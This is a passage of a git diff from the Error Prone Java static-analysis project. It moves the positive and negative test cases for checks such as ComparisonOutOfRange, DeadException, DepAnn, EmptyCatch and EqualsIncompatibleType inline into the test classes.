barr[0] == -1 + result = barr[0] == 255; + // BUG: Diagnostic contains: + result = barr[0] == 128; + // BUG: Diagnostic contains: bytes + result = barr[0] == -255; + + // BUG: Diagnostic contains: b == -1 + result = b == NOT_A_BYTE; + + Byte boxed = 0; + // BUG: Diagnostic contains: + result = boxed == 255; + Supplier bSupplier = null; + // BUG: Diagnostic contains: + result = bSupplier.get() == 255; + } + + void charEquality() throws IOException { + boolean result; + char c = 'A'; + Reader reader = null; + + // BUG: Diagnostic contains: false + result = c == -1; + // BUG: Diagnostic contains: true + result = c != -1; + + char d; + // BUG: Diagnostic contains: chars + result = (d = (char) reader.read()) == -1; + } + + void shorts(short s) { + boolean result; + + // BUG: Diagnostic contains: false + result = s == Short.MAX_VALUE + 1; + // BUG: Diagnostic contains: false + result = s == Short.MIN_VALUE - 1; + + // BUG: Diagnostic contains: true + result = s != Short.MAX_VALUE + 1; + // BUG: Diagnostic contains: true + result = s != Short.MIN_VALUE - 1; + + // BUG: Diagnostic contains: false + result = s > Short.MAX_VALUE; + // BUG: Diagnostic contains: true + result = s > Short.MIN_VALUE - 1; + + // BUG: Diagnostic contains: false + result = s >= Short.MAX_VALUE + 1; + // BUG: Diagnostic contains: true + result = s >= Short.MIN_VALUE; + + // BUG: Diagnostic contains: false + result = s < Short.MIN_VALUE; + // BUG: Diagnostic contains: true + result = s < Short.MAX_VALUE + 1; + + // BUG: Diagnostic contains: false + result = s <= Short.MIN_VALUE - 1; + // BUG: Diagnostic contains: true + result = s <= Short.MAX_VALUE; + } + + void shortsReversed(short s) { + boolean result; + + // BUG: Diagnostic contains: false + result = Short.MAX_VALUE < s; + // BUG: Diagnostic contains: true + result = Short.MIN_VALUE - 1 < s; + + // BUG: Diagnostic contains: false + result = Short.MAX_VALUE + 1 <= s; + // BUG: Diagnostic contains: true + result = Short.MIN_VALUE <= s; + + // BUG: Diagnostic contains: false + result = Short.MIN_VALUE > s; + // BUG: Diagnostic contains: true + result = Short.MAX_VALUE + 1 > s; + + // BUG: Diagnostic contains: false + result = Short.MIN_VALUE - 1 >= s; + // BUG: Diagnostic contains: true + result = Short.MAX_VALUE >= s; + } + + void ints(int i) { + boolean result; + + // BUG: Diagnostic contains: false + result = i == Integer.MAX_VALUE + 1L; + } + + void longs(long l) { + boolean result; + + // BUG: Diagnostic contains: false + result = l == Long.MIN_VALUE * 2.0; + } + }""") + .doTest(); } @Test public void negativeCases() { - compilationHelper.addSourceFile("testdata/ComparisonOutOfRangeNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "ComparisonOutOfRangeNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.io.IOException; + import java.io.Reader; + + /** + * @author Bill Pugh (bill.pugh@gmail.com) + */ + class ComparisonOutOfRangeNegativeCases { + + void byteEquality() { + boolean result; + byte b = 0; + byte[] barr = {1, 2, 3}; + + result = b == 1; + result = b == -2; + result = b == 127; + result = b != 1; + + result = b == (byte) 255; + + result = b == 'a'; // char + result = b == 1L; // long + result = b == 1.123f; // float + result = b == 1.123; // double + + result = barr[0] == 1; + result = barr[0] == -2; + result = barr[0] == -128; + } + + void charEquality() throws IOException { + boolean result; + char c = 'A'; + Reader reader = null; + + result = c == 0; + result = c == 0xffff; + + result = c == 1L; // long + result = c == 1.123f; // float + result = c == 1.123; // double + + int d; + result = (d = reader.read()) == -1; + } + + void shorts(short s) { + boolean result; + + result = s == Short.MAX_VALUE; + result = s == Short.MIN_VALUE; + + result = s != Short.MAX_VALUE; + result = s != Short.MIN_VALUE; + + result = s > Short.MAX_VALUE - 1; + result = s > Short.MIN_VALUE; + + result = s >= Short.MAX_VALUE; + result = s >= Short.MIN_VALUE + 1; + + result = s < Short.MIN_VALUE + 1; + result = s < Short.MAX_VALUE; + + result = s <= Short.MIN_VALUE; + result = s <= Short.MAX_VALUE - 1; + } + + void shortsReversed(short s) { + boolean result; + + result = Short.MAX_VALUE - 1 < s; + result = Short.MIN_VALUE < s; + + result = Short.MAX_VALUE <= s; + result = Short.MIN_VALUE + 1 <= s; + + result = Short.MIN_VALUE + 1 > s; + result = Short.MAX_VALUE > s; + + result = Short.MIN_VALUE >= s; + result = Short.MAX_VALUE - 1 >= s; + } + + void ints(int i) { + boolean result; + + result = i == (long) Integer.MAX_VALUE; + } + + void longs(long l) { + boolean result; + + result = l == (double) Long.MIN_VALUE; + } + + String binaryTreeMixingByteWithNonNumeric(byte b) { + return "value is: " + b; + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/DeadExceptionTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/DeadExceptionTest.java index a2f9eca702f..4932feabfcb 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/DeadExceptionTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/DeadExceptionTest.java @@ -32,12 +32,96 @@ public class DeadExceptionTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/DeadExceptionPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "DeadExceptionPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + public class DeadExceptionPositiveCases { + public void runtimeException() { + // BUG: Diagnostic contains: throw new RuntimeException + new RuntimeException("Not thrown, and reference lost"); + } + + public void error() { + // BUG: Diagnostic contains: throw new AssertionError + new AssertionError("Not thrown, and reference lost"); + } + + public void fixIsToDeleteTheFirstStatement() { + // BUG: Diagnostic contains: remove this line + new IllegalArgumentException("why is this here?"); + int i = 1; + System.out.println("i = " + i); + + if (true) { + // BUG: Diagnostic contains: remove this line + new RuntimeException("oops"); + System.out.println("another statement after exception"); + } + + switch (0) { + default: + // BUG: Diagnostic contains: remove this line + new RuntimeException("oops"); + System.out.println("another statement after exception"); + } + } + + public void firstStatementWithNoSurroundingBlock() { + if (true) + // BUG: Diagnostic contains: throw new InterruptedException + new InterruptedException("this should be thrown"); + + if (true) return; + else + // BUG: Diagnostic contains: throw new ArithmeticException + new ArithmeticException("should also be thrown"); + + switch (4) { + case 4: + System.out.println("4"); + break; + default: + // BUG: Diagnostic contains: throw new IllegalArgumentException + new IllegalArgumentException("should be thrown"); + } + } + + public void testLooksLikeAJunitTestMethod() { + // BUG: Diagnostic contains: throw new RuntimeException + new RuntimeException("Not thrown, and reference lost"); + } + + { + // BUG: Diagnostic contains: throw new Exception + new Exception(); + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/DeadExceptionNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "DeadExceptionNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + public class DeadExceptionNegativeCases { + public void noError() { + Exception e = new RuntimeException("stored"); + e = new UnsupportedOperationException("also stored"); + throw new IllegalArgumentException("thrown"); + } + + public Exception returnsException() { + return new RuntimeException("returned"); + } + }""") + .doTest(); } /** @@ -46,6 +130,39 @@ public void negativeCase() { */ @Test public void negativeCaseWhenExceptionsUnthrownInTests() { - compilationHelper.addSourceFile("testdata/DeadExceptionTestingNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "DeadExceptionTestingNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import junit.framework.TestCase; + import org.junit.Test; + + /** + * @author alexeagle@google.com (Alex Eagle) + */ + public class DeadExceptionTestingNegativeCases extends TestCase { + + public void testShouldAllowTestingOfExceptionConstructorSideEffects() { + try { + new IllegalArgumentException((Throwable) null); + fail(); + } catch (NullPointerException e) { + // expected + } + } + + @Test + public void shouldAllowTestingOfExceptionConstructorSideEffects() { + try { + new IllegalArgumentException((Throwable) null); + fail(); + } catch (NullPointerException e) { + // expected + } + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/DepAnnTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/DepAnnTest.java index 81e9d440bb1..3c89147ad34 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/DepAnnTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/DepAnnTest.java @@ -34,7 +34,49 @@ public class DepAnnTest { public void positiveCase() { compilationHelper .setArgs(JAVACOPTS) - .addSourceFile("testdata/DepAnnPositiveCases.java") + .addSourceLines( + "DepAnnPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @deprecated + */ + // BUG: Diagnostic contains: @Deprecated + public class DepAnnPositiveCases { + + /** + * @deprecated + */ + // BUG: Diagnostic contains: @Deprecated + public DepAnnPositiveCases() {} + + /** + * @deprecated + */ + // BUG: Diagnostic contains: @Deprecated + int myField; + + /** + * @deprecated + */ + // BUG: Diagnostic contains: @Deprecated + enum Enum { + VALUE, + } + + /** + * @deprecated + */ + // BUG: Diagnostic contains: @Deprecated + interface Interface {} + + /** + * @deprecated + */ + // BUG: Diagnostic contains: @Deprecated + public void deprecatedMethood() {} + }""") .doTest(); } @@ -42,7 +84,62 @@ public void positiveCase() { public void negativeCase1() { compilationHelper .setArgs(JAVACOPTS) - .addSourceFile("testdata/DepAnnNegativeCase1.java") + .addSourceLines( + "DepAnnNegativeCase1.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @deprecated + */ + @Deprecated + public class DepAnnNegativeCase1 { + + /** + * @deprecated + */ + @Deprecated + public DepAnnNegativeCase1() {} + + /** + * @deprecated + */ + @Deprecated int myField; + + /** + * @deprecated + */ + @Deprecated + enum Enum { + VALUE, + } + + /** + * @deprecated + */ + @Deprecated + interface Interface {} + + /** + * @deprecated + */ + @Deprecated + public void deprecatedMethood() {} + + @Deprecated + public void deprecatedMethoodWithoutComment() {} + + /** deprecated */ + public void deprecatedMethodWithMalformedComment() {} + + /** + * @deprecated + */ + @SuppressWarnings("dep-ann") + public void suppressed() {} + + public void newMethod() {} + }""") .doTest(); } @@ -50,7 +147,35 @@ public void negativeCase1() { public void negativeCase2() { compilationHelper .setArgs(JAVACOPTS) - .addSourceFile("testdata/DepAnnNegativeCase2.java") + .addSourceLines( + "DepAnnNegativeCase2.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @deprecated + */ + @Deprecated + public class DepAnnNegativeCase2 { + + abstract class Builder2

{ + class SummaryRowKey

{} + + @Deprecated + /** + * @deprecated use {@link Selector.Builder#withSummary()} + */ + public abstract void withSummaryRowKeys(int summaryRowKeys); + + /** + * @deprecated use {@link Selector.Builder#withSummary()} + */ + @Deprecated + public abstract void m1(); + + public abstract void m2(); + } + }""") .doTest(); } @@ -59,7 +184,49 @@ public void disableable() { compilationHelper .setArgs(ImmutableList.of("-Xlint:-dep-ann", "-Xep:DepAnn:OFF")) .expectNoDiagnostics() - .addSourceFile("testdata/DepAnnPositiveCases.java") + .addSourceLines( + "DepAnnPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @deprecated + */ + // BUG: Diagnostic contains: @Deprecated + public class DepAnnPositiveCases { + + /** + * @deprecated + */ + // BUG: Diagnostic contains: @Deprecated + public DepAnnPositiveCases() {} + + /** + * @deprecated + */ + // BUG: Diagnostic contains: @Deprecated + int myField; + + /** + * @deprecated + */ + // BUG: Diagnostic contains: @Deprecated + enum Enum { + VALUE, + } + + /** + * @deprecated + */ + // BUG: Diagnostic contains: @Deprecated + interface Interface {} + + /** + * @deprecated + */ + // BUG: Diagnostic contains: @Deprecated + public void deprecatedMethood() {} + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/EmptyCatchTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/EmptyCatchTest.java index 0c2e0d1237d..0382293f9ca 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/EmptyCatchTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/EmptyCatchTest.java @@ -37,12 +37,164 @@ public void setUp() { @Test public void positiveCase() throws Exception { - compilationHelper.addSourceFile("testdata/EmptyCatchPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "EmptyCatchPositiveCases.java", + """ + package com.google.errorprone.bugpatterns; + + import static org.junit.Assert.fail; + + import org.junit.Test; + + /** + * @author yuan@ece.toronto.edu (Ding Yuan) + */ + public class EmptyCatchPositiveCases { + public void error() throws IllegalArgumentException { + throw new IllegalArgumentException("Fake exception."); + } + + public void catchIsCompleteEmpty() { + try { + error(); + } // BUG: Diagnostic contains: + catch (Throwable t) { + + } + } + + @Test + public void expectedException() { + try { + System.err.println(); + fail(); + // BUG: Diagnostic contains: + } catch (Exception expected) { + } + } + }""") + .doTest(); } @Test public void negativeCase() throws Exception { - compilationHelper.addSourceFile("testdata/EmptyCatchNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "EmptyCatchNegativeCases.java", + """ + package com.google.errorprone.bugpatterns; + + + import java.io.FileNotFoundException; + + /** + * @author yuan@ece.toronto.edu (Ding Yuan) + */ + public class EmptyCatchNegativeCases { + public void error() throws IllegalArgumentException { + throw new IllegalArgumentException("Fake exception."); + } + + public void harmlessError() throws FileNotFoundException { + throw new FileNotFoundException("harmless exception."); + } + + public void close() throws IllegalArgumentException { + // close() is an allowed method, so any exceptions + // thrown by this method can be ignored! + throw new IllegalArgumentException("Fake exception."); + } + + public void handledException() { + int a = 0; + try { + error(); + } catch (Exception e) { + a++; // handled here + } + } + + public void exceptionHandledByDataflow() { + int a = 0; + try { + error(); + a = 10; + } catch (Throwable t) { + /* Although the exception is ignored here, it is actually + * handled by the if check below. + */ + } + if (a != 10) { + System.out.println("Exception is handled here.."); + a++; + } + } + + public void exceptionHandledByControlFlow() { + try { + error(); + return; + } catch (Throwable t) { + /* Although the exception is ignored here, it is actually + * handled by the return statement in the try block. + */ + } + System.out.println("Exception is handled here.."); + } + + public void alreadyInCatch() { + try { + error(); + } catch (Throwable t) { + try { + error(); + } catch (Exception e) { + // Although e is ignored, it is OK b/c we're already + // in a nested catch block. + } + } + } + + public void harmlessException() { + try { + harmlessError(); + } catch (FileNotFoundException e) { + /* FileNotFoundException is a harmless exception and + * it is OK to ignore it. + */ + } + } + + public void exemptedMethod() { + try { + close(); + } catch (Exception e) { + // Although the exception is ignored, we can allow this b/c + // it is thrown by an exempted method. + } + } + + public void comment() { + int a = 0; // TODO + try { + error(); + // TODO + /* FIXME */ + } catch (Throwable t) { + // ignored + } + } + + public void catchIsLoggedOnly() { + try { + error(); + } catch (Throwable t) { + System.out.println("Caught an exception: " + t); + } + } + }""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/EmptyIfStatementTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/EmptyIfStatementTest.java index 63156143bdb..0e6e1f3a66a 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/EmptyIfStatementTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/EmptyIfStatementTest.java @@ -32,11 +32,104 @@ public class EmptyIfStatementTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/EmptyIfStatementPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "EmptyIfStatementPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * Positive test cases for the empty if statement check. + * + * @author eaftan@google.com (Eddie Aftandilian) + */ + public class EmptyIfStatementPositiveCases { + + public static void positiveCase1() { + int i = 10; + // BUG: Diagnostic contains: if (i == 10) { + if (i == 10); { + i++; + } + } + + public static void positiveCase2() { + int i = 10; + // BUG: Diagnostic contains: if (i == 10) + if (i == 10); + i++; + System.out.println("foo"); + } + + public static void positiveCase3() { + int i = 10; + if (i == 10) + // BUG: Diagnostic contains: remove this line + ; + i++; + System.out.println("foo"); + } + + public static void positiveCase4() { + int i = 10; + // BUG: Diagnostic contains: remove this line + if (i == 10) ; + } + + public static void positiveCase5() { + int i = 10; + if (i == 10) + // BUG: Diagnostic contains: remove this line + ; + { + System.out.println("foo"); + } + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/EmptyIfStatementNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "EmptyIfStatementNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + /** + * @author eaftan@google.com (Eddie Aftandilian) + */ + public class EmptyIfStatementNegativeCases { + + // just a normal use of if + public static void negativeCase1() { + int i = 10; + if (i == 10) { + System.out.println("foo"); + } + i++; + } + + // empty then part but nonempty else + public static void negativeCase2() { + int i = 0; + if (i == 10) + ; + else System.out.println("not 10"); + } + + // multipart if with non-empty else + public static void negativeCase3() { + int i = 0; + if (i == 10) + ; + else if (i == 11) + ; + else if (i == 12) + ; + else System.out.println("not 10, 11, or 12"); + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/EqualsHashCodeTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/EqualsHashCodeTest.java index a911c6ad8df..20b823c8a4e 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/EqualsHashCodeTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/EqualsHashCodeTest.java @@ -30,12 +30,49 @@ public class EqualsHashCodeTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/EqualsHashCodeTestPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "EqualsHashCodeTestPositiveCases.java", + """ +public class EqualsHashCodeTestPositiveCases { + + public static class EqualsOnly { + // BUG: Diagnostic contains: Classes that override equals should also override hashCode + public boolean equals(Object o) { + return false; + } + } +}""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/EqualsHashCodeTestNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "EqualsHashCodeTestNegativeCases.java", + """ + public class EqualsHashCodeTestNegativeCases { + + public static class EqualsAndHashCode { + public boolean equals(Object o) { + return false; + } + + public int hashCode() { + return 42; + } + } + + public static class HashCodeOnly { + public int hashCode() { + return 42; + } + } + + public static class Neither {} + }""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/EqualsIncompatibleTypeTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/EqualsIncompatibleTypeTest.java index 0dafe258531..75cb3095c06 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/EqualsIncompatibleTypeTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/EqualsIncompatibleTypeTest.java @@ -34,17 +34,501 @@ public class EqualsIncompatibleTypeTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/EqualsIncompatibleTypePositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "EqualsIncompatibleTypePositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import com.google.common.collect.ImmutableList; +import java.util.List; +import java.util.Map; +import java.util.Set; + +/** + * @author avenet@google.com (Arnaud J. Venet) + */ +public class EqualsIncompatibleTypePositiveCases { + class A {} + + class B {} + + void checkEqualsAB(A a, B b) { + // BUG: Diagnostic contains: incompatible types + a.equals(b); + // BUG: Diagnostic contains: incompatible types + b.equals(a); + } + + class C {} + + abstract class C1 extends C { + public abstract boolean equals(Object o); + } + + abstract class C2 extends C1 {} + + abstract class C3 extends C {} + + void checkEqualsCC1C2C3(C c, C1 c1, C2 c2, C3 c3) { + // BUG: Diagnostic contains: incompatible types + c3.equals(c1); + // BUG: Diagnostic contains: incompatible types + c3.equals(c2); + // BUG: Diagnostic contains: incompatible types + c1.equals(c3); + // BUG: Diagnostic contains: incompatible types + c2.equals(c3); + } + + void checkStaticEqualsCC1C2C3(C c, C1 c1, C2 c2, C3 c3) { + // BUG: Diagnostic contains: incompatible types + java.util.Objects.equals(c3, c1); + // BUG: Diagnostic contains: incompatible types + java.util.Objects.equals(c3, c2); + // BUG: Diagnostic contains: incompatible types + java.util.Objects.equals(c1, c3); + // BUG: Diagnostic contains: incompatible types + java.util.Objects.equals(c2, c3); + } + + void checkGuavaStaticEqualsCC1C2C3(C c, C1 c1, C2 c2, C3 c3) { + // BUG: Diagnostic contains: incompatible types + com.google.common.base.Objects.equal(c3, c1); + // BUG: Diagnostic contains: incompatible types + com.google.common.base.Objects.equal(c3, c2); + // BUG: Diagnostic contains: incompatible types + com.google.common.base.Objects.equal(c1, c3); + // BUG: Diagnostic contains: incompatible types + com.google.common.base.Objects.equal(c2, c3); + } + + void checkPrimitiveEquals(int a, long b) { + // BUG: Diagnostic contains: incompatible types + java.util.Objects.equals(a, b); + // BUG: Diagnostic contains: incompatible types + java.util.Objects.equals(b, a); + // BUG: Diagnostic contains: incompatible types + com.google.common.base.Objects.equal(a, b); + // BUG: Diagnostic contains: incompatible types + com.google.common.base.Objects.equal(b, a); + } + + interface I { + boolean equals(Object o); + } + + class D {} + + class D1 extends D {} + + class D2 extends D implements I {} + + void checkEqualsDD1D2(D d, D1 d1, D2 d2) { + // BUG: Diagnostic contains: incompatible types + d1.equals(d2); + // BUG: Diagnostic contains: incompatible types + d2.equals(d1); + } + + enum MyEnum {} + + enum MyOtherEnum {} + + void enumEquals(MyEnum m, MyOtherEnum mm) { + // BUG: Diagnostic contains: incompatible types + m.equals(mm); + // BUG: Diagnostic contains: incompatible types + mm.equals(m); + + // BUG: Diagnostic contains: incompatible types + com.google.common.base.Objects.equal(m, mm); + // BUG: Diagnostic contains: incompatible types + com.google.common.base.Objects.equal(mm, m); + } + + void collectionsWithGenericMismatches( + List stringList, + List intList, + Set stringSet, + Set intSet, + ImmutableList stringImmutableList) { + + // BUG: Diagnostic contains: incompatible types + stringList.equals(intList); + + // BUG: Diagnostic contains: incompatible types + stringSet.equals(intSet); + + // BUG: Diagnostic contains: incompatible types + stringList.equals(stringSet); + + // BUG: Diagnostic contains: incompatible types + intList.equals(stringImmutableList); + } + + void mapKeyChecking( + Map stringIntegerMap, + Map integerStringMap, + Map, Set> stringListSetMap, + Map, Set> intListSetMap) { + // BUG: Diagnostic contains: incompatible types + stringIntegerMap.equals(integerStringMap); + + // BUG: Diagnostic contains: incompatible types + stringListSetMap.equals(intListSetMap); + } + + void nestedColls(Set> setListString, Set> setListInteger) { + // BUG: Diagnostic contains: String and Integer are incompatible + boolean equals = setListString.equals(setListInteger); + } + + class MyGenericClazz {} + + void testSomeGenerics( + MyGenericClazz strClazz, MyGenericClazz intClazz, MyGenericClazz iClazz) { + // BUG: Diagnostic contains: String and Integer are incompatible + strClazz.equals(intClazz); + + // BUG: Diagnostic contains: T and String are incompatible + iClazz.equals(strClazz); + } +}""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/EqualsIncompatibleTypeNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "EqualsIncompatibleTypeNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import com.google.common.collect.ImmutableList; + import com.google.common.collect.ImmutableSet; + import java.util.List; + import java.util.Set; + + /** + * @author avenet@google.com (Arnaud J. Venet) + */ + public class EqualsIncompatibleTypeNegativeCases { + class A { + public boolean equals(Object o) { + if (o instanceof A) { + return true; + } + return false; + } + } + + class B1 extends A {} + + class B2 extends A {} + + class B3 extends B2 {} + + void checkEqualsAB1B2B3(A a, B1 b1, B2 b2, B3 b3) { + a.equals(a); + a.equals(b1); + a.equals(b2); + a.equals(b3); + a.equals(null); + + b1.equals(a); + b1.equals(b1); + b1.equals(b2); + b1.equals(b3); + b1.equals(null); + + b2.equals(a); + b2.equals(b1); + b2.equals(b2); + b2.equals(b3); + b2.equals(null); + + b3.equals(a); + b3.equals(b1); + b3.equals(b2); + b3.equals(b3); + b3.equals(null); + } + + void checks(Object o, boolean[] bools, boolean bool) { + o.equals(bool); + o.equals(bools[0]); + } + + void checkJUnit(B1 b1, B2 b2) { + org.junit.Assert.assertFalse(b1.equals(b2)); + } + + void checkStaticEquals(A a, B1 b1, B2 b2, B3 b3) { + java.util.Objects.equals(a, a); + java.util.Objects.equals(a, b1); + java.util.Objects.equals(a, b2); + java.util.Objects.equals(a, b3); + java.util.Objects.equals(a, null); + + java.util.Objects.equals(b1, b3); + java.util.Objects.equals(b2, b3); + java.util.Objects.equals(b3, b3); + java.util.Objects.equals(null, b3); + } + + void checkGuavaStaticEquals(A a, B1 b1, B2 b2, B3 b3) { + com.google.common.base.Objects.equal(a, a); + com.google.common.base.Objects.equal(a, b1); + com.google.common.base.Objects.equal(a, b2); + com.google.common.base.Objects.equal(a, b3); + com.google.common.base.Objects.equal(a, null); + + com.google.common.base.Objects.equal(b1, b3); + com.google.common.base.Objects.equal(b2, b3); + com.google.common.base.Objects.equal(b3, b3); + com.google.common.base.Objects.equal(null, b3); + } + + class C {} + + abstract class C1 extends C { + public abstract boolean equals(Object o); + } + + abstract class C2 extends C1 {} + + abstract class C3 extends C1 {} + + void checkEqualsC1C2C3(C1 c1, C2 c2, C3 c3) { + c1.equals(c1); + c1.equals(c2); + c1.equals(c3); + c1.equals(null); + + c2.equals(c1); + c2.equals(c2); + c2.equals(c3); + c2.equals(null); + + c3.equals(c1); + c3.equals(c2); + c3.equals(c3); + c3.equals(null); + } + + interface I { + boolean equals(Object o); + } + + class E1 implements I {} + + class E2 implements I {} + + class E3 extends E2 {} + + void checkEqualsIE1E2E3( + I e, E1 e1, E2 e2, E3 e3, List eList, List e1List, List e2List) { + e.equals(e); + e.equals(e1); + e.equals(e2); + e.equals(e3); + e.equals(null); + + e1.equals(e); + e1.equals(e1); + e1.equals(e2); + e1.equals(e3); + e1.equals(null); + + e2.equals(e); + e2.equals(e1); + e2.equals(e2); + e2.equals(e3); + e2.equals(null); + + e3.equals(e); + e3.equals(e1); + e3.equals(e2); + e3.equals(e3); + e3.equals(null); + + eList.equals(e1List); + eList.equals(e2List); + eList.equals(null); + + e1List.equals(eList); + e1List.equals(e2List); + e1List.equals(null); + + e2List.equals(eList); + e2List.equals(e1List); + e2List.equals(null); + } + + void collectionStuff( + List rawList, + List stringList, + Set stringSet, + ImmutableSet immutableStringSet, + ImmutableList immutableStringList) { + + // With raw types, we can't be sure. So... /shrug + rawList.equals(stringList); + + stringSet.equals(immutableStringSet); + stringList.equals(immutableStringList); + } + + interface J {} + + class F1 implements J {} + + abstract class F2 { + public abstract boolean equals(J o); + } + + void checkOtherEquals(F1 f1, F2 f2) { + f2.equals(f1); + } + }""") + .doTest(); } @Test public void negativeCase_recursive() { - compilationHelper.addSourceFile("testdata/EqualsIncompatibleTypeRecursiveTypes.java").doTest(); + compilationHelper + .addSourceLines( + "EqualsIncompatibleTypeRecursiveTypes.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.time.DayOfWeek; +import java.time.Month; +import java.util.Objects; + +/** Checks for objects with recursive type bounds. */ +public class EqualsIncompatibleTypeRecursiveTypes { + + interface Bar {} + + final class ConcreteBar implements Bar {} + + static class Foo> implements Bar { + T field; + + void check(Foo other) { + // OK since Enum and Enum are not incompatible + this.field.equals(other.field); + } + + > void badCheck(Bar other) { + // BUG: Diagnostic contains: T and X are incompatible + this.equals(other); + } + } + + interface RandomInterface {} + + interface Entity< + E extends Entity, + K extends EntityKey, + V extends Enum, + V2 extends Enum> {} + + interface EntityKey> extends Comparable {} + + static final class EK1 implements EntityKey { + @Override + public int compareTo(EK1 o) { + return 0; + } + } + + static final class E1 implements Entity, RandomInterface {} + + static final class E2 implements Entity, RandomInterface {} + + void testMultilayer(Class> eClazz, Class e2Clazz) { + if (Objects.equals(eClazz, E1.class)) { + System.out.println("yay"); + } + + if (Objects.equals(eClazz, E2.class)) { + System.out.println("yay"); + } + + if (Objects.equals(e2Clazz, E2.class)) { + System.out.println("yay"); + } + + // BUG: Diagnostic contains: E2 and E1 are incompatible. + if (Objects.equals(e2Clazz, E1.class)) { + System.out.println("boo"); + } + } + + interface First> { + default A get() { + return null; + } + } + + interface Second extends First> {} + + interface Third extends Second {} + + interface Fourth extends Second {} + + void testing(Third third, Fourth fourth) { + // BUG: Diagnostic contains: Third and Fourth + boolean equals = third.equals(fourth); + } + + interface RecOne extends Comparable> {} + + interface RecTwo extends Comparable> {} + + void testMultiRecursion(RecOne a, RecTwo b) { + // BUG: Diagnostic contains: RecOne and RecTwo + boolean bad = a.equals(b); + } + + interface Quux> {} + + interface Quuz> extends Quux {} + + interface Quiz> extends Quux {} + + interface Id1 extends Quuz {} + + interface Id2 extends Quiz {} + + abstract static class Id3 implements Quuz, Quiz {} + + void test(Id1 first, Id3 second) { + // BUG: Diagnostic contains: Id1 and Id3 + boolean res = Objects.equals(first, second); + } + + class I {} + + class J, B extends I, C extends I> {} + + < + A1 extends I, + B1 extends I, + C1 extends I, + A2 extends I, + B2 extends I, + C2 extends I> + void something(J j1, J j2) { + // Technically this could work, since there's nothing stopping A1 == A2, etc. + boolean equals = j1.equals(j2); + } +}""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/EqualsNaNTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/EqualsNaNTest.java index 53ae6331be8..9ed6d8061af 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/EqualsNaNTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/EqualsNaNTest.java @@ -32,11 +32,53 @@ public class EqualsNaNTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/EqualsNaNPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "EqualsNaNPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author lowasser@google.com (Louis Wasserman) + */ + public class EqualsNaNPositiveCases { + + // BUG: Diagnostic contains: Double.isNaN(0.0) + static final boolean ZERO_DOUBLE_NAN = 0.0 == Double.NaN; + + // BUG: Diagnostic contains: !Double.isNaN(1.0) + static final boolean ONE_NOT_DOUBLE_NAN = Double.NaN != 1.0; + + // BUG: Diagnostic contains: Float.isNaN(2.f) + static final boolean TWO_FLOAT_NAN = 2.f == Float.NaN; + + // BUG: Diagnostic contains: 